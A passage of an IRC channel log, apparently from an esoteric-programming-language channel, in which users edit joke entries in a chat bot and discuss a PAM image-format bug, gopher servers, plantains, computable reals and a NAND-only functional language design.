14:40:11 <HackEgo> Relearned 'ytrid': A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf". 14:40:20 <rdococ> ? ho 14:40:22 <HackEgo> ho? ¯\(°​_o)/¯ 14:40:32 <rdococ> le//rn ho//Ho is an example of a word which is both dirty and ytrid. 14:40:34 <HackEgo> Learned 'ho': Ho is an example of a word which is both dirty and ytrid. 14:40:39 <rdococ> "Oh". 14:41:05 <rdococ> in this case the /o/ diphthong counts as one sound. 14:41:20 <rdococ> ? yay 14:41:21 <HackEgo> yay? ¯\(°​_o)/¯ 14:41:29 <rdococ> ? yei 14:41:31 <HackEgo> yei? ¯\(°​_o)/¯ 15:26:19 -!- augur has joined. 15:30:22 -!- augur has quit (Ping timeout: 240 seconds). 15:46:54 <rdococ> ? hi 15:46:56 <HackEgo> hi? ¯\(°​_o)/¯ 15:47:08 <rdococ> ? hp 15:47:09 <HackEgo> hp? ¯\(°​_o)/¯ 15:47:45 <rdococ> le//rn hp//HP is an acronym that stands for Hewlett Points. 15:47:47 <HackEgo> Learned 'hp': HP is an acronym that stands for Hewlett Points. 15:49:06 <rdococ> ? K 15:49:07 <HackEgo> K K K Ken 15:49:08 <rdococ> ? Ð 15:49:09 <HackEgo> ​Ð? ¯\(°​_o)/¯ 15:56:48 <rdococ> ? tihs 15:56:49 <HackEgo> tihs? ¯\(°​_o)/¯ 15:57:02 <rdococ> le//rn tihs//Tihs is a ytrid word. 15:57:05 <HackEgo> Learned 'tihs': Tihs is a ytrid word. 15:57:18 <rdococ> le//rn tihs//Tihs is a semi-ytrid word. 15:57:20 <HackEgo> Relearned 'tihs': Tihs is a semi-ytrid word. 15:57:27 <rdococ> ? tish 15:57:28 <HackEgo> tish? ¯\(°​_o)/¯ 15:57:29 -!- h0rsep0wer has joined. 15:57:30 <rdococ> le//rn tish//Tish is a ytrid word. 15:57:32 <HackEgo> Learned 'tish': Tish is a ytrid word. 16:00:22 <rdococ> ? ytrid 16:00:23 <HackEgo> A word is ytrid when its pronunciation's reverse is dirty. For example, "kcuf". 16:00:27 <rdococ> ? ytird 16:00:28 <HackEgo> ytird? ¯\(°​_o)/¯ 16:00:36 <rdococ> le//rn ytird//A word is ytird when its pronunciation's reverse is dirty. For example, "kcuf". 16:00:39 <HackEgo> Learned 'ytird': A word is ytird when its pronunciation's reverse is dirty. For example, "kcuf". 16:00:46 <rdococ> le//rn ytrid//A word is ytrid when its spelling's reverse is dirty. For example, "kcuf". 16:00:48 <HackEgo> Relearned 'ytrid': A word is ytrid when its spelling's reverse is dirty. For example, "kcuf". 16:00:54 <rdococ> le//rn ytird//A word is ytird when its pronunciation's reverse is dirty. For example, "kuf". 16:00:56 <HackEgo> Relearned 'ytird': A word is ytird when its pronunciation's reverse is dirty. For example, "kuf". 16:01:08 <rdococ> le//rn tish//Tish is a ytird word. 16:01:10 <HackEgo> Relearned 'tish': Tish is a ytird word. 16:01:15 <rdococ> le//rn tihs//Tihs is a ytrid word. 16:01:17 <HackEgo> Relearned 'tihs': Tihs is a ytrid word. 16:01:20 <rdococ> ? ho 16:01:21 <HackEgo> Ho is an example of a word which is both dirty and ytrid. 16:01:23 <rdococ> ? har 16:01:24 <HackEgo> Har is a very ytrid word. 16:04:05 <rdococ> le//rn har//Har is a very ytird word. 16:04:08 <HackEgo> Relearned 'har': Har is a very ytird word. 16:04:09 <rdococ> ? hra 16:04:10 <HackEgo> hra? ¯\(°​_o)/¯ 16:04:16 <rdococ> le//rn hra//Hra is a very ytrid word. 16:04:18 <HackEgo> Learned 'hra': Hra is a very ytrid word. 16:04:32 <rdococ> le//rn ho//Ho is an example of a word which is both dirty, ytrid and ytird at once. 16:04:34 <HackEgo> Relearned 'ho': Ho is an example of a word which is both dirty, ytrid and ytird at once. 16:04:41 <rdococ> le//rn ho//Ho is an example of a word which is both dirty, ytrid and ytird at once, when said in the right voice. 16:04:43 <HackEgo> Relearned 'ho': Ho is an example of a word which is both dirty, ytrid and ytird at once, when said in the right voice. 16:12:09 -!- Lord_of_Life has quit (Ping timeout: 258 seconds). 16:17:23 -!- augur has joined. 16:23:55 <shachaf> All your wisdom entries are bad. 16:24:49 -!- Lord_of_Life has joined. 16:25:54 <rdococ> revert 16:25:55 <HackEgo> Done. 16:25:58 <rdococ> unlearn hra 16:25:59 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: unlearn: not found 16:26:02 <rdococ> forget hra 16:26:05 <HackEgo> Forget what? 16:26:05 <rdococ> forget ytrid 16:26:07 <HackEgo> Forget what? 16:26:07 <rdococ> forget ytird 16:26:09 <HackEgo> Forget what? 16:26:12 <rdococ> forget ho 16:26:14 <HackEgo> Forget what? 16:26:20 <rdococ> forget tish 16:26:22 <HackEgo> Forget what? 16:26:22 <rdococ> forget tihs 16:26:24 <HackEgo> Forget what? 16:26:33 -!- rdococ has left ("Well, clearly I'm of no use here."). 16:27:29 <shachaf> revert 10799 16:27:30 <HackEgo> Done. 16:43:57 -!- h0rsep0wer has quit (Quit: Leaving). 16:49:52 -!- augur has quit (Remote host closed the connection). 16:59:49 -!- LKoen has joined. 17:40:41 -!- sleffy has joined. 18:10:50 -!- LKoen has quit (Remote host closed the connection). 18:14:49 -!- hppavilion[1] has joined. 18:16:57 -!- Zarutian has joined. 18:23:07 -!- hppavilion[1] has quit (Ping timeout: 260 seconds). 18:31:22 -!- rdococ has joined. 18:31:53 <rdococ> ? rdococ 18:31:54 <HackEgo> rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. 18:32:08 <rdococ> le//rn_append rdococ//Additionally, all of his wisdom entries are bad. 18:32:11 <HackEgo> Learned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, all of his wisdom entries are bad. 18:38:20 <rdococ> ? cocoa 18:38:21 <HackEgo> A is a village in Norway. The BBC invented it by not understanding things on top of letters. 18:38:26 * rdococ waits for someone to forget cocoa 18:39:00 <rdococ> odd. if it was bad wouldn't it have been forgotten by now? 18:40:57 <rdococ> Sometimes I feel like a tumor to every community I'm in. Maybe I am one. 18:41:39 <rdococ> I guess my previous entries were a bit over the top, and I'm sorry for that. But without looking at every single one of my entries, you can't objectively decide that they are all bad. 18:45:05 <\oren\> AAAAA WHYYY 18:45:29 <\oren\> why is my alliance's randomly generated name "Condign Axis"? 18:45:44 <\oren\> I'm not an "Axis"! 18:45:56 <rdococ> Lol :P 18:45:56 <\oren\> We're egalitarian! 18:45:59 <rdococ> Are you a plane? 18:58:58 -!- sleffy has quit (Ping timeout: 260 seconds). 19:12:20 -!- Lymia has quit (Ping timeout: 255 seconds). 19:13:12 -!- Lymia has joined. 19:15:06 <alercah> relcome 19:15:07 <HackEgo> ​Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 19:19:26 -!- sleffy has joined. 19:20:18 <zzo38> I thought, making a new computerized television (rather than the existing one), with TV-MIDI, TV-GUIDE-RDF, TV-GUIDE-SQL, and support for programming it too (such as with Forth, if you connect the keyboard), and for running a X server if you want to display multiple things on your TV set from multiple sources you can have X clients control them. 19:22:18 <zzo38> And support for "hidden captions", which if you use the formatting code to tell it to hide that text then it will not be displayed by default, but can still be recorded. (This may be useful in such cases as Jeopardy! clues and so on.) 19:23:21 <zzo38> Do you? 19:26:12 -!- sleffy has quit (Ping timeout: 240 seconds). 19:30:21 -!- sleffy has joined. 19:47:07 <Zarutian> Telly-Midi? 19:53:35 <zzo38> What I am meaning by "TV-MIDI" is a IMIDI interface to control such devices as cable boxes and so on. 19:54:28 <zzo38> ("IMIDI" is a variant of MIDI, using the exact same data protocol, although it is not necessarily for music, it is two ways, and the electrical specification can differ too.) 19:56:43 <zzo38> For example, sending MIDI CC 0 and 32 events can be used to change the channel that a cable box is tuned to. Key on and key off events can be used to forward signals from buttons on a remote control (which may also be used to change the channel). There are many others too. 20:01:02 -!- sleffy has quit (Ping timeout: 260 seconds). 20:07:15 <zzo38> My "ffpbm" used to target only Netpbm formats 1 to 6, although now it can also target format 7. However, ImageMagick inverts the alpha if the depth is not 8 or 16, and I don't know whether the bug is in my program or in ImageMagick. Do you know? 20:08:10 <pikhq> Huh, that sounds really odd. 20:08:20 <pikhq> I don't know, but that still sounds *very* weird. 20:08:40 <pikhq> P7 is PAM, right? 20:08:50 <zzo38> Yes, P7 is PAM. 20:09:14 <zzo38> (Note that this "depth" is not the actual depth, and is not the same as the DEPTH field in the PAM header, which is fixed at 4.) 20:10:05 <pikhq> The "depth" you referring to is represented by the MAXVAL field in the header, right? 20:10:07 <zzo38> (I mean the bits per channel; I said "depth" because of what that variable is called due to the encoding for formats 1 to 6, even though it is unsuitable in this case.) 20:10:11 <zzo38> pikhq: Yes. 20:10:30 <pikhq> Yeah, I have no idea why the alpha would get inverted. 20:10:49 <pikhq> The spec seems pretty clear that the _ALPHA channel is just a linear alpha channel. 20:11:02 <pikhq> With no special treatment for any given bitdepths. 20:11:38 <pikhq> Only thing I can think of is if you're using "MAXVAL 8" instead of "MAXVAL 255". 20:12:39 <zzo38> I am not; it is "MAXVAL 255". (I even checked just now to make sure) 20:13:19 <pikhq> Alright. Just a guess, anyways. 20:13:37 <pikhq> It could just be that MAXVALs other than 255 and 65535 aren't well tested. 20:14:15 <zzo38> The other channels are correct; I have checked. Only the alpha channel has this problem. 20:15:57 <pikhq> Huh. 20:16:43 <pikhq> I can't be certain you aren't doing something odd in your output, but it *sounds like* you're hitting a bug in ImageMagick. 20:17:09 <pikhq> For MAXVAL 254, the alpha being 254 *should be* full opacity, not (as you make it sound like) full transparency. 20:17:36 <zzo38> My program never outputs MAXVAL 254, so I have not tested that 20:18:07 <zzo38> Here is my code http://zzo38computer.org/fossil/farbfeld.ui/raw/ffpbm.c?name=7ff4f7541c11ce72fefa11bb1ba544956aeeca62 20:18:13 <pikhq> http://netpbm.sourceforge.net/doc/pam.html#visual ... 20:18:49 <pikhq> Um, what's the max MAXVAL you output? 20:19:03 <pikhq> Oh, I see. 20:19:08 <pikhq> 2^16-1. 20:19:12 <zzo38> The largest number is 65535 20:19:19 <pikhq> And you only do other powers-of-two-minus-one MAXVALs. 20:19:25 <zzo38> Yes. 20:19:28 <pikhq> So you could hypothetically do 127, but not 254. 20:19:52 <zzo38> Yes. 20:22:16 <pikhq> Hmm. "if(depth&8)" Doesn't that output if the depth's got 0b1000 set, *not* if it's in the range 16-9? 20:23:30 <pikhq> Mmm, it's only off for depth=8. 20:23:31 <zzo38> The "depth" variable is decremented before the switch 20:23:37 <pikhq> Ah. 20:23:42 <pikhq> K then, that works for that range then. 20:23:54 <pikhq> Slightly non-obvious and if it were my code I'd change it, but works. 20:29:09 <pikhq> I don't see anywhere in there that would be inverting the alpha, and especially not *just* inverting the alpha. 20:31:13 <pikhq> I'd double-check the actual output doesn't have inverted alpha, and then assume it's an ImageMagick bug. 20:31:23 <pikhq> Particularly if netpbm tools disagree. 20:31:49 <zzo38> I tried using netpbm tools but maybe the tools I have are too old, because it does not recognize the file at all. 20:32:13 <pikhq> Sounds old; PAM was first supported by netpbm tools. 21:03:12 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds). 21:04:02 -!- hppavilion[1] has joined. 21:31:20 <zzo38> If you want to, you can contribute encoders and/or decoders for any other picture format you might know of, including even obscure ones that other program does not support. 21:35:30 <pikhq> Might well do so. 21:35:47 <pikhq> It's a fairly simple way of getting useful tooling for odd formats. 21:36:03 <pikhq> And the Farbfeld format is quite simple. 21:36:23 <zzo38> Yes, that is my intention too. 21:37:20 <pikhq> Main issue for e.g. retrocomputing formats would be making writers for those formats. 21:37:36 <zzo38> Yes, that too 21:38:39 -!- hppavilion[1] has quit (Ping timeout: 268 seconds). 22:12:04 -!- LKoen has joined. 22:16:37 -!- LKoen has quit (Ping timeout: 252 seconds). 22:32:27 -!- ^v has quit (Ping timeout: 246 seconds). 22:35:30 -!- ^v has joined. 22:37:17 -!- Phantom_Hoover has joined. 22:37:51 -!- LKoen has joined. 23:15:46 -!- AnotherTest has quit (Ping timeout: 255 seconds). 23:19:07 -!- DHeadshot has joined. 23:27:39 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 23:50:10 <quintopia> what would the internet look like if minnesota university hadn't decided to start charging a fee for gopher? 23:52:25 <zzo38> Possibly gopher would be used earlier than it is, I suppose. 2017-04-23: 00:08:15 -!- oerjan has joined. 00:08:41 * DHeadshot has built quite a powerful gopher server program. I may make it opensource, I haven't decided yet... 00:10:02 <zzo38> What kind of features you put in? I have made a xinetd based gopher server program in C. 00:10:29 <zzo38> (A very simple one, but you can use external programs for adding additional functions) 00:11:13 <DHeadshot> I have full CGI compatibility, so it's fully extensible with existing applications. 00:11:23 <DHeadshot> No Gopher+ though 00:11:33 <DHeadshot> I still need to add that in. 00:14:49 <DHeadshot> (At least, that is the Linux version I made in 2015-16. The original Windows one was built in VB6 many years ago and is very simple). 00:14:59 -!- oerjan has set topic: Motivation: NaN | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://www.dropbox.com/s/fyhqyvy3i8oh25m/wisdom.pdf?dl=0 | For extensive phở testing, use #esoteric-blah. 00:24:32 -!- DHeadshot has quit (Ping timeout: 268 seconds). 00:32:45 <zzo38> I also have no Gopher+ and do not intend to add it either. Mine is using a prefix database, and then if the prefix matches (the prefix can include the null terminator), then does according to that record. The action can be: a text file, a binary file, execute a program, change directory, display error message, or load another prefix database. 00:33:38 <zzo38> There is also a compiler to create menus and compiled prefix databases from a source file. 00:33:44 -!- boily has joined. 00:38:16 <oerjan> @time rdococ 00:38:16 <lambdabot> Local time for rdococ is UTC! 00:38:27 <oerjan> shocking 00:38:31 <oerjan> helloily 00:38:35 <oerjan> ? har 00:38:36 <HackEgo> har? ¯\(°​_o)/¯ 00:38:43 <oerjan> ah. 00:40:00 <zzo38> One thing named "har" is this: http://zzo38computer.org/prog/har.c 00:40:15 <oerjan> heh shachaf got enough 00:40:36 <oerjan> zzo38: it was one of rdococ's wisdom additions, but it got reverted. 00:40:39 <shachaf> ? 00:40:45 <zzo38> Got enough of what? 00:41:00 <shachaf> Is that as in "had enough"? 00:41:01 <oerjan> zzo38: of rdococ's very bad wisdom entries 00:41:07 <zzo38> O, OK 00:41:12 <oerjan> APPARENTLY 00:41:32 <shachaf> I don't think that's idiomatic English but maybe it should be. 00:41:45 <shachaf> I'll try to incorporate it into my lexicon maybe. 00:42:16 <oerjan> as long as you don't think it's scow. 00:45:42 <boily> hellørjan, hezzo38, helloochaf. 00:46:29 <boily> @massages-loud 00:46:30 <lambdabot> oerjan said 20h 14m 49s ago: your pdf is missing the "unary" in ? and hth 00:46:37 <oerjan> slwd rdococ//s,all,almost &, 00:46:41 <HackEgo> rdococ//rdococ is apparently from Budapest, but he is actualmost ally on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, all of his wisdom entries are bad. 00:46:44 <oerjan> oops 00:46:46 <oerjan> revert 00:46:48 <HackEgo> Done. 00:47:05 <oerjan> slwd rdococ//s,all ,almost &, 00:47:08 <HackEgo> rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. Additionally, almost all of his wisdom entries are bad. 00:47:26 <oerjan> i recall at least one that had potential. 00:50:14 <oerjan> ? overflow 00:50:16 <HackEgo> Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer. 00:50:23 <oerjan> this one, although i improved the wording. 00:50:43 <boily> oerjan: yes, I'm missing the unary. the PDF isn't exactly up to date >_>'... 00:51:53 <oerjan> shocking 00:55:36 <oerjan> shachaf: but today's entries were bad even by his standards. 00:55:49 <shachaf> Yes. 01:11:34 -!- augur has joined. 01:14:15 -!- augur has quit (Remote host closed the connection). 01:14:28 -!- augur has joined. 01:16:22 -!- HackEgo has quit (Read error: Connection reset by peer). 01:16:52 -!- HackEgo has joined. 01:24:48 <int-e> ? thought 01:25:03 <HackEgo> ​. o O ( Why are they asking me what a thought is? ) 01:25:43 <int-e> cwlprits thought 01:25:51 <int-e> r.dococ, o.erjan? 01:25:52 <HackEgo> oerjän rdocöc 01:26:08 <int-e> thought so 01:26:26 <oerjan> ah that one wasn't so bad either 01:26:53 <oerjan> dowg thought 01:27:00 <HackEgo> 10764:2017-04-18 <oerjän> slwd thought//s,for ,, \ 10716:2017-04-16 <rdocöc> le//rn thought//. o O ( Why are they asking me for what a thought is? ) 01:28:02 <boily> ? wisdom 01:28:03 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? 01:28:08 <boily> wisdom 01:28:10 <HackEgo> metasepia//metasepia knew the weather at your nearest airport, and also something about ducks. 01:28:48 <int-e> @metar lowi 01:28:48 <lambdabot> LOWI 230020Z AUTO 08006KT 050V130 9999 -RA FEW015 BKN026 05/03 Q1020 01:28:57 <shachaf> @metar koak 01:28:58 <lambdabot> KOAK 222353Z 28019KT 10SM FEW012 FEW032 SCT070 OVC220 18/13 A3000 RMK AO2 SLP160 T01780128 10194 20178 56014 01:29:16 <int-e> . o O ( is that the time? ;-) ) 01:29:47 <oerjan> int-e: what? 01:30:08 <int-e> oerjan: well it says it's 00:20 GMT. 01:30:25 <int-e> (or was, when that entry was made) 01:30:40 <oerjan> so 8 minutes old, then. 01:30:53 <int-e> yeah, surprising... 01:31:14 <oerjan> it was bound to happen eventually. 01:31:49 <int-e> actually that 23:53 seems a bit stranger 01:32:16 <int-e> icao KOAK 01:32:17 <HackEgo> Metropolitan Oakland Intl (OAK, KOAK) 01:32:38 <boily> depends on the airfield, really. METAR are “usually” on the hour, with SPECI inbetween as needed. 01:32:41 <boily> @metar CYUL 01:32:42 <lambdabot> CYUL 230000Z 31005KT 30SM SCT040 BKN052 09/02 A3001 RMK SC3SC3 SLP164 01:34:42 <int-e> ? metar 01:34:43 <HackEgo> metar is a service Taneb invented that allows nerds to talk about the weather. 01:35:04 <int-e> cwlprits metar 01:35:11 <HackEgo> shachäf oerjän 01:35:54 -!- Phantom_Hoover has quit (Quit: Leaving). 01:42:00 * Zarutian reads an adpt quote on the 'Net: „The job of a soldier is to die for his country“ -unknown. 01:47:00 -!- dingbat has joined. 01:51:15 <boily> relcome dingbat 01:51:16 <HackEgo> ​dingbat: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 01:51:34 <dingbat> holy batman everything is rainbows! 01:51:48 <dingbat> to what do I owe this flamboyant greeting? 01:52:06 <boily> newcomers to this fine channel are always welcomed. 01:52:16 <boily> (relcomed if I happen to be here. mwah ah ah.) 01:55:45 <shachaf> dingbat is hardly a newcomer 01:56:41 <shachaf> flamboyant 01:59:44 <boily> oh hm. eh. 01:59:59 <boily> knew him all way back. long time ago. la la la <_<... >_>... 02:04:54 <oerjan> learn dingbat is a famous font designer for Microsoft. 02:04:56 <HackEgo> Learned 'dingbat': dingbat is a famous font designer for Microsoft. 02:05:32 <shachaf> are you sure you're not confusing dingbat with dingbatman 02:06:15 <oerjan> nah. nah nah nah nah nah nah nah. 02:06:48 <shachaf> Do you actually know that from the Batman music or just from people talking about the Batman music on the Internet? 02:12:48 <oerjan> >_>'... 02:13:19 * oerjan should maybe listen to it sometime. 02:16:15 <oerjan> hm that sounds to me like da da da not na na na 02:21:49 <boily> na na na na na na na katamari damacy ♪ 02:26:26 <shachaf> I asked because I'd never listened to it before. 02:26:48 <oerjan> me neither! at least that i can recall 02:27:50 <oerjan> ? bananaphone 02:27:51 <HackEgo> bananaphone? ¯\(°​_o)/¯ 02:33:10 <dingbat> i don't like bananas, therefore bananaphones are similarly icky 02:34:35 <boily> bell peppers were declared scow, and now bananas? that's horrible! 02:34:57 <oerjan> bananas are good, as long as they are just the right ripeness. 02:35:16 <oerjan> aka for about 5 minutes. 02:36:19 <boily> as long as there is no green showing, they're delicious. 02:36:37 <boily> avocadoes, on the other hand... 02:37:18 * oerjan guacks boily with a mole ~~~(===)o 02:37:56 <shachaf> oerjan: Plantains are good at many levels of ripeness. 02:38:00 <shachaf> From green to black. 02:38:09 <shachaf> I cooked three green plantains today. 02:38:19 <oerjan> OKAY 02:38:30 <shachaf> Do you like plantains? 02:38:33 -!- MoALTz has quit (Quit: Leaving). 02:39:58 <shachaf> fizzie: Hmm, did you get a sword after fighting your snake? 02:41:44 * boily uses a tortilla shield to protect himself from the... what the hell is that flying thing? 02:41:52 <oerjan> i may not have tasted plantains. norwegian wikipedia says they have essentially nothing in common with ordinary bananas other than the shape. 02:42:18 <shachaf> I think when they're ripe they have a bananish flavor. 02:42:21 <shachaf> But now I'm not sure. 02:42:36 <shachaf> English Wikipedia says there's nothing that distinguishes them from ordinary bananas. 02:42:52 <shachaf> "The term "plantain" is loosely applied to any banana cultivar that is eaten when cooked. However, there is no formal botanical distinction between bananas and plantains. Cooking is also a matter of custom, rather than necessity." 02:44:10 <shachaf> Google translates the Norwegian Wikipedia text to "Plantain have quite different properties than usual banana , and it can be more considered a vegetable than fruit , as it, among other things can not be eaten raw." 02:44:14 -!- orby has joined. 02:44:19 <shachaf> English Wikipedia says "Ripe plantains can be eaten raw, since the starches are converted to sugars as they ripen." 02:44:40 <orby> greetings! 02:44:44 <boily> hellorby! 02:44:53 <shachaf> good afternorby 02:45:32 <boily> fried plantain is delicious, along with pilaf and oxtail stew. 02:45:44 <orby> mmmm plantains are indeed delicious 02:46:37 <shachaf> Now I made mashed plantains with fried halloumi. 02:46:48 <orby> ooo, what's halloumi? 02:47:02 <shachaf> A squeaky cheese. 02:47:14 <orby> what does it taste like? 02:47:26 <shachaf> Like halloumi. 02:47:30 <orby> :) 02:47:50 <shachaf> It's white, firm, and is often grilled. 02:48:07 <orby> how does one fry it? is it typically breaded? or placed on bread? 02:48:23 <shachaf> One can fry it all sorts of ways. 02:48:35 <shachaf> It has a high melting point so it doesn't melt. 02:48:50 <orby> I see, I don't think I've ever dealt with a cheese with a high melting point. 02:49:22 <orby> I have a terrible habit of using commas where I should use periods, 02:49:34 <boily> halloumi and havarti are the perfect cheeses for râclette. 02:49:41 <shachaf> Well, you should try some halloumi. 02:49:52 <orby> I'll have to try it. I love trying new things :) 02:50:04 <orby> What is râclette? 02:50:22 <shachaf> When you bite halloumi, it squeaks against your teeth. 02:50:42 <orby> That doesn't sound very pleasant... 02:51:24 <oerjan> "Halloumi is set with rennet" 02:51:46 <boily> https://en.wikipedia.org/wiki/Raclette 02:52:00 <shachaf> oerjan: Non-animal rennet in this case. 02:52:01 <boily> you know your poutine is true if the cheese squeaks. 02:52:37 <boily> orby: forget the ^. that's my accent slipping. 02:53:03 <orby> Gotcha, sounds lovely 02:54:30 <orby> rennet is one of those tricky things for us vegetarians that I most often ignore but secretly feel guilty about ignoring 02:54:46 <orby> but I'm too lazy to be vegan :) 02:55:25 <boily> halloumi is also quite good in palak paneer :D 02:55:38 <orby> yummy 02:57:03 <oerjan> * [...] what the hell is that flying thing? <-- a mole, i said. they're somewhat competing with the moons for my lawn. 02:58:18 <shachaf> a mole of what? 02:59:34 <boily> oerjan: ah! that kind of mole! 02:59:58 <oerjan> shachaf: a mole of guacks 03:03:15 -!- sleffy has joined. 03:03:44 <orby> are there any functional languages on the wiki that deal only with boolean values that anyone knows about? 03:04:10 <orby> I was thinking today about a functional language whose only operator is nand 03:05:02 <shachaf> Is it true that no property of computable reals is decidable? 03:05:59 <orby> wouldn't the decidability of properties of computable reals be a property of computable reals? 03:06:16 -!- augur has quit (Remote host closed the connection). 03:06:39 <shachaf> OK, no nontrivial property. 03:07:12 <orby> I do not know. I suppose it depends upon how you define nontrivial. Oerjan is probably a good person to ask. Oerjan is smart. 03:07:26 * oerjan waves 03:07:50 <oerjan> we have several languages with nand in the name but i'm not sure if any of them are functional. 03:07:54 <shachaf> In the same sense as Rice's theorem -- a property is trivial if it's true for all computable reals or false for all of them. 03:08:01 <oerjan> might depend on your definition. 03:08:01 -!- augur has joined. 03:08:19 <shachaf> Are concatenative languages functional? 03:08:39 <orby> I do not know what a concatenative language is 03:08:41 <oerjan> good question. 03:08:53 <oerjan> orby: underload is one. 03:09:51 <orby> I see 03:10:34 <oerjan> and although it's standard definition uses stacks, you can also think of it as a rewriting system. 03:10:38 <oerjan> *its 03:10:54 <orby> cool :) 03:14:49 -!- boily has quit (Quit: FOREWORD CHICKEN). 03:14:57 <orby> I was thinking, a functional language that only contains nand as an operator could define its functions with 3 tokens: a b c where a is the name of the function and it's return value is "b nand c" where b and c are function calls. If you wanted to get fancy you could do partial evaluation and first class functions but I don't think it's necessary. 03:15:25 <oerjan> shachaf: ok, if a property of reals is nontrivial, then by applying the least upper bound property you can find a real that has no open neighborhood that doesn't intersect both sets, which would imply what you want if it were computable... but i'm not sure it must be. 03:15:59 <oerjan> (both sets being the ones that have the property and those that don't.) 03:16:02 <shachaf> oerjan: If "decidable" means "clopen", then no property of the reals is decidable with the standard topology. 03:16:52 <orby> are computable reals dense in the reals? 03:16:59 <oerjan> orby: yes. 03:17:01 <shachaf> Yes. 03:17:01 <orby> I suppose they have to be since rationals are 03:17:38 <orby> neato 03:18:09 <oerjan> shachaf: there are sets that are clopen in the relative topology of the computable reals, but they're probably then undecidable for other reasons. 03:18:33 <oerjan> (e.g. "is this number > omega") 03:21:12 -!- sleffy has quit (Ping timeout: 260 seconds). 03:21:34 <shachaf> omega? 03:22:08 -!- augur has quit (Remote host closed the connection). 03:22:16 <oerjan> orby: your 3 tokens seem to be functionally defining a circuit of nand gates, then. you're going to need some initial variables too. 03:22:18 -!- sleffy has joined. 03:22:55 <oerjan> shachaf: chaitin's omega, wasn't it? 03:23:17 <shachaf> Oh, that omega. 03:23:46 <orby> oerjan: yes, that's what I'm thinking. What do you mean by initial variables? Like the ability to define f(x, y) := x nand y? 03:24:23 <oerjan> shachaf: hm can't you take your decision algorithm and turn it around into a search for an element at the boundary of where it applies... 03:24:44 <oerjan> orby: yeah 03:25:11 <orby> Yeah, I was imagining something like: 03:25:19 <orby> and 03:25:19 <orby> nand(x, y) x y 03:25:20 <orby> and(x, y) nand(x, y) nand(x, y). 03:25:25 <orby> etc. 03:25:51 <orby> but I'm still searching for a more elegant way to define the relationships between the functions because I think it can be written more simply 03:26:55 <zzo38> Oops, there are some thing missing in GURPS. Such as, if you want your familar's wounds to affect you too but not other way around (it says how to do it both ways, and how to do it so that your wounds affect your familiar only, but it doesn't say how to do if your familiar's wounds affect you only). 03:29:41 <oerjan> shachaf: hm i think you can do a bisection search, if you start with two computable reals that have different answers. 03:30:19 <oerjan> that will give you a new computable real in the limit of both sets. 03:31:27 <oerjan> and then it cannot halt for that real because then there would be a neighborhood where it also gave the same answer. 03:31:37 <oerjan> Q.E.D. 03:32:10 <oerjan> s/it/the decision algorithm/ 03:34:48 <oerjan> orby: well you could leave out the variables if all the functions in the definition took the same list 03:34:59 -!- sleffy has quit (Ping timeout: 240 seconds). 03:35:01 <oerjan> but that's not good for reuse. 03:35:26 -!- sleffy has joined. 03:35:38 <orby> oerjan: reuse is for sissies :) 03:35:52 <oerjan> or you could identify them by index, then you can drop them on the result. 03:36:46 <oerjan> perhaps combine those, so the default is to have the same list 03:36:57 <orby> hmmm, well, what is really essential here? I think it's necessary that we be able to support different arities 03:37:22 <orby> would including first class functions make this simpler in any way? 03:37:37 <orby> or currying? 03:37:55 <oerjan> not simpler 03:38:09 <oerjan> perhaps more concise 03:38:18 <orby> yeah, concise is a better word 03:38:23 <oerjan> and nand nand 03:38:48 <oerjan> or wait 03:38:56 <oerjan> yes. 03:38:59 <orby> but how would we know that's not and(a, b, c, d) nand(a, b) nand(c, d) instead of and(a, b) nand(a, b) nand(a, b) 03:39:38 <oerjan> orby: because by default, that's equivalent to and(1,2,3,...) nand(1,2,3,...) nand(1,2,3,...) 03:39:50 <oerjan> and nand only uses its first two arguments 03:40:15 <orby> I see what you're saying 03:40:18 <oerjan> i.e. make them all have infinite arguments, just don't use them. 03:40:25 <orby> right right 03:40:36 <orby> hmmm interesting 03:41:39 <oerjan> or nand(1,1) nand(2,2) 03:41:51 <orby> exactly 03:42:05 <orby> do you think that is enough for turing completeness? 03:42:11 <oerjan> not nand(1,1) nand(1,1) 03:42:12 <orby> w/o fcf? 03:42:20 <orby> not 1 1 03:42:23 <oerjan> no. you're not going to get infinite memory. 03:42:39 <oerjan> *unbounded 03:42:51 <oerjan> it's enough for boolean completeness. 03:43:36 <oerjan> hm not 1 1 wasn't a syntax i was considering, but i guess it works 03:44:05 <oerjan> oh of course nand(1,1) was wrong. 03:44:20 <orby> f f(1) g(2) 03:44:34 <orby> err, f f(1, 2) g(2) 03:44:35 <oerjan> id nand(1,1) nand(1,1) 03:44:41 <orby> yeah 03:44:52 <orby> f f g(3) 03:44:53 <orby> there we go 03:45:41 <orby> resolving loops would be interesting 03:45:53 <orby> from an interpreters point of view 03:46:14 <oerjan> could give a paradox. 03:46:39 <oerjan> if the circuit is time-dependent, it's no longer functional... 03:47:11 <orby> I don't understand how that introduces time dependency 03:47:51 <orby> wouldn't it just be an infinite expression tree? 03:47:57 <oerjan> well it's either time dependency or potential paradox. 03:48:03 <oerjan> oh 03:48:04 <oerjan> ic 03:48:20 <oerjan> you're not identifying any nodes... 03:48:30 <oerjan> that might give nondeterminism instead. 03:48:40 <orby> I do not know 03:48:48 <orby> I haven't thought about it in depth 03:49:26 <oerjan> no wait it doesn't create an infinite number of nodes. 03:49:42 <oerjan> or... 03:49:49 <oerjan> argh 03:50:18 <oerjan> f f(1,2) g(2) means f(x,y) 